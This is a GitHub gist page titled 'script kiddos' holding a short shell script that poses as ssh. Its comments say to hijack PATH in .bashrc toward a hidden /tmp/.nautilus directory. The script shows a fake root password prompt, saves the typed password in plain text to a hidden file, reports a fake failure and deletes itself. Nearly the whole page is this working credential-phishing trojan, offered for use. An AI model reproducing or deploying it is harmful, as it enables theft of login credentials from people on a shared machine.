Skip to content

Instantly share code, notes, and snippets.

@khakimov
Created January 14, 2013 19:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save khakimov/4532463 to your computer and use it in GitHub Desktop.
Save khakimov/4532463 to your computer and use it in GitHub Desktop.
script kiddos
#/bin/sh
# add to .bashrc or .profile
# export PATH=/tmp/.nautilus:$PATH
# chmod +x /tmp/.nautilus/ssh
echo "root@10.1.1.1's password: "
stty -echo
read input_variable
stty echo
echo "$input_variable" > /tmp/.nautilus/pass
echo "Permission denied, please try again."
rm -rf /tmp/.nautilus/ssh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment